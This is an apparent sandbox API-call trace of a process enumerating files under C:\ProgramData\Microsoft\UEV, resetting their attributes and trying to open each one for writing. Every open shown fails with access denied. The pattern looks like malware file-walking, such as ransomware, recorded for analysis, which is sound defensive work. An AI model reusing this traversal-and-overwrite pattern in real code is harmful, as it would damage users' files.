	[0092.368] wcscpy (in: _Dest=0x4895360, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.368] wcscat (in: _Dest=0x4895360, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.368] wcscat (in: _Dest=0x4895360, _Source="RoamingCredentialSettings.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml"
	[0092.368] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml")) returned 0x20
	[0092.370] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml", dwFileAttributes=0x20) returned 0
	[0092.371] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.371] GetLastError () returned 0x5
	[0092.371] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml", dwFileAttributes=0x20) returned 0
	[0092.371] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895360) returned 1
	[0092.371] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ThemeSettings2013.xml", cAlternateFileName="")) returned 1
	[0092.371] wcscmp (_String1="ThemeSettings2013.xml", _String2=".") returned 1
	[0092.371] wcscmp (_String1="ThemeSettings2013.xml", _String2="..") returned 1
	[0092.371] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x84) returned 0x476e818
	[0092.371] wcscpy (in: _Dest=0x476e818, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.371] wcscat (in: _Dest=0x476e818, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.371] wcscat (in: _Dest=0x476e818, _Source="ThemeSettings2013.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml"
	[0092.371] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml")) returned 0x20
	[0092.376] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml", dwFileAttributes=0x20) returned 0
	[0092.376] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.376] GetLastError () returned 0x5
	[0092.376] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml", dwFileAttributes=0x20) returned 0
	[0092.376] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476e818) returned 1
	[0092.376] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x0, dwReserved1=0x0, cFileName="VdiState.xml", cAlternateFileName="")) returned 1
	[0092.376] wcscmp (_String1="VdiState.xml", _String2=".") returned 1
	[0092.376] wcscmp (_String1="VdiState.xml", _String2="..") returned 1
	[0092.376] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x72) returned 0x47bcb90
	[0092.376] wcscpy (in: _Dest=0x47bcb90, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.376] wcscat (in: _Dest=0x47bcb90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.376] wcscat (in: _Dest=0x47bcb90, _Source="VdiState.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml"
	[0092.376] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\vdistate.xml")) returned 0x20
	[0092.377] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml", dwFileAttributes=0x20) returned 0
	[0092.378] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\vdistate.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.378] GetLastError () returned 0x5
	[0092.378] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml", dwFileAttributes=0x20) returned 0
	[0092.378] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bcb90) returned 1
	[0092.378] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x0, dwReserved1=0x0, cFileName="VdiState.xml", cAlternateFileName="")) returned 0
	[0092.379] FindClose (in: hFindFile=0x477b028 | out: hFindFile=0x477b028) returned 1
	[0092.379] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50318b0) returned 1
	[0092.379] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733800) returned 1
	[0092.379] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daea08) returned 1
	[0092.379] FindNextFileW (in: hFindFile=0x2d877f8, lpFindFileData=0x2e27190 | out: lpFindFileData=0x2e27190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe469068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scripts", cAlternateFileName="")) returned 1
	[0092.379] wcscmp (_String1="Scripts", _String2=".") returned 1
	[0092.379] wcscmp (_String1="Scripts", _String2="..") returned 1
	[0092.379] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4a) returned 0x2dabce8
	[0092.379] wcscpy (in: _Dest=0x2dabce8, _Source="C:\\ProgramData\\Microsoft\\UEV" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV") returned="C:\\ProgramData\\Microsoft\\UEV"
	[0092.379] wcscat (in: _Dest=0x2dabce8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\") returned="C:\\ProgramData\\Microsoft\\UEV\\"
	[0092.379] wcscat (in: _Dest=0x2dabce8, _Source="Scripts" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\Scripts") returned="C:\\ProgramData\\Microsoft\\UEV\\Scripts"
	[0092.379] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2daba80
	[0092.379] wcscpy (in: _Dest=0x2daba80, _Source="C:\\ProgramData\\Microsoft\\UEV\\Scripts" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\Scripts") returned="C:\\ProgramData\\Microsoft\\UEV\\Scripts"
	[0092.379] wcscat (in: _Dest=0x2daba80, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\Scripts\\") returned="C:\\ProgramData\\Microsoft\\UEV\\Scripts\\"
	[0092.379] wcscat (in: _Dest=0x2daba80, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\Scripts\\*") returned="C:\\ProgramData\\Microsoft\\UEV\\Scripts\\*"
	[0092.379] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710a60
	[0092.379] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Scripts\\*", lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe469068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b2e8
	[0092.379] wcscmp (_String1=".", _String2=".") returned 0
	[0092.379] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe469068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.379] wcscmp (_String1="..", _String2=".") returned 1
	[0092.379] wcscmp (_String1="..", _String2="..") returned 0
	[0092.379] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x147, dwReserved0=0x0, dwReserved1=0x0, cFileName="RegisterInboxTemplates.ps1", cAlternateFileName="")) returned 1
	[0092.379] wcscmp (_String1="RegisterInboxTemplates.ps1", _String2=".") returned 1
	[0092.379] wcscmp (_String1="RegisterInboxTemplates.ps1", _String2="..") returned 1
	[0092.380] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x147, dwReserved0=0x0, dwReserved1=0x0, cFileName="RegisterInboxTemplates.ps1", cAlternateFileName="")) returned 0
	[0092.380] FindClose (in: hFindFile=0x477b2e8 | out: hFindFile=0x477b2e8) returned 1
	[0092.380] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710a60) returned 1
	[0092.380] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daba80) returned 1
	[0092.380] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dabce8) returned 1
	[0092.380] FindNextFileW (in: hFindFile=0x2d877f8, lpFindFileData=0x2e27190 | out: lpFindFileData=0x2e27190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0092.380] wcscmp (_String1="Templates", _String2=".") returned 1
	[0092.380] wcscmp (_String1="Templates", _String2="..") returned 1
	[0092.380] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2dac000
	[0092.380] wcscpy (in: _Dest=0x2dac000, _Source="C:\\ProgramData\\Microsoft\\UEV" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV") returned="C:\\ProgramData\\Microsoft\\UEV"
	[0092.380] wcscat (in: _Dest=0x2dac000, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\") returned="C:\\ProgramData\\Microsoft\\UEV\\"
	[0092.380] wcscat (in: _Dest=0x2dac000, _Source="Templates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\Templates") returned="C:\\ProgramData\\Microsoft\\UEV\\Templates"
	[0092.380] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2d77780
	[0092.380] wcscpy (in: _Dest=0x2d77780, _Source="C:\\ProgramData\\Microsoft\\UEV\\Templates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\Templates") returned="C:\\ProgramData\\Microsoft\\UEV\\Templates"
	[0092.380] wcscat (in: _Dest=0x2d77780, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\Templates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\Templates\\"
	[0092.380] wcscat (in: _Dest=0x2d77780, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\Templates\\*") returned="C:\\ProgramData\\Microsoft\\UEV\\Templates\\*"
	[0092.380] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x470f988
	[0092.380] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\*", lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b028
	[0092.380] wcscmp (_String1=".", _String2=".") returned 0
	[0092.380] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.380] wcscmp (_String1="..", _String2=".") returned 1
	[0092.380] wcscmp (_String1="..", _String2="..") returned 0
	[0092.381] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x25ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate.xsd", cAlternateFileName="")) returned 1
	[0092.381] wcscmp (_String1="SettingsLocationTemplate.xsd", _String2=".") returned 1
	[0092.381] wcscmp (_String1="SettingsLocationTemplate.xsd", _String2="..") returned 1
	[0092.381] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476d8e8
	[0092.381] wcscpy (in: _Dest=0x476d8e8, _Source="C:\\ProgramData\\Microsoft\\UEV\\Templates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\Templates") returned="C:\\ProgramData\\Microsoft\\UEV\\Templates"
	[0092.381] wcscat (in: _Dest=0x476d8e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\Templates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\Templates\\"
	[0092.381] wcscat (in: _Dest=0x476d8e8, _Source="SettingsLocationTemplate.xsd" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd") returned="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd"
	[0092.381] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate.xsd")) returned 0x20
	[0092.383] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd", dwFileAttributes=0x20) returned 0
	[0092.383] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate.xsd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.383] GetLastError () returned 0x5
	[0092.383] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd", dwFileAttributes=0x20) returned 0
	[0092.383] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476d8e8) returned 1
	[0092.383] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2c20, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate2013.xsd", cAlternateFileName="")) returned 1
	[0092.383] wcscmp (_String1="SettingsLocationTemplate2013.xsd", _String2=".") returned 1
	[0092.383] wcscmp (_String1="SettingsLocationTemplate2013.xsd", _String2="..") returned 1
	[0092.383] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x90) returned 0x4e30ff0
	[0092.383] wcscpy (in: _Dest=0x4e30ff0, _Source="C:\\ProgramData\\Microsoft\\UEV\\Templates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\Templates") returned="C:\\ProgramData\\Microsoft\\UEV\\Templates"
	[0092.383] wcscat (in: _Dest=0x4e30ff0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\Templates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\Templates\\"
	[0092.384] wcscat (in: _Dest=0x4e30ff0, _Source="SettingsLocationTemplate2013.xsd" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd") returned="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd"
	[0092.384] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate2013.xsd")) returned 0x20
	[0092.384] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd", dwFileAttributes=0x20) returned 0
	[0092.384] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate2013.xsd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.384] GetLastError () returned 0x5
	[0092.384] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd", dwFileAttributes=0x20) returned 0
	[0092.384] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e30ff0) returned 1
	[0092.384] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3724, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate2013A.xsd", cAlternateFileName="")) returned 1
	[0092.384] wcscmp (_String1="SettingsLocationTemplate2013A.xsd", _String2=".") returned 1
	[0092.384] wcscmp (_String1="SettingsLocationTemplate2013A.xsd", _String2="..") returned 1
	[0092.384] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x4894e60
	[0092.384] wcscpy (in: _Dest=0x4894e60, _Source="C:\\ProgramData\\Microsoft\\UEV\\Templates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\Templates") returned="C:\\ProgramData\\Microsoft\\UEV\\Templates"
	[0092.384] wcscat (in: _Dest=0x4894e60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\Templates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\Templates\\"
	[0092.384] wcscat (in: _Dest=0x4894e60, _Source="SettingsLocationTemplate2013A.xsd" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd") returned="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd"
	[0092.384] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate2013a.xsd")) returned 0x20
	[0092.384] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd", dwFileAttributes=0x20) returned 0
	[0092.384] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate2013a.xsd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.385] GetLastError () returned 0x5
	[0092.385] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd", dwFileAttributes=0x20) returned 0
	[0092.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4894e60) returned 1
	[0092.385] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3724, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsLocationTemplate2013A.xsd", cAlternateFileName="")) returned 0
	[0092.385] FindClose (in: hFindFile=0x477b028 | out: hFindFile=0x477b028) returned 1
	[0092.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x470f988) returned 1
	[0092.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77780) returned 1
	[0092.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac000) returned 1
	[0092.385] FindNextFileW (in: hFindFile=0x2d877f8, lpFindFileData=0x2e27190 | out: lpFindFileData=0x2e27190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0
	[0092.385] FindClose (in: hFindFile=0x2d877f8 | out: hFindFile=0x2d877f8) returned 1
	[0092.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e27190) returned 1
	[0092.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73c00) returned 1
	[0092.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73618) returned 1

Thread:
	id = 316
	os_tid = 0x1418

	[0076.854] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x2e17188
	[0076.854] wcscpy (in: _Dest=0x2e17188, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures"
	[0076.854] wcscat (in: _Dest=0x2e17188, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\"
	[0076.854] wcscat (in: _Dest=0x2e17188, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\*") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\*"
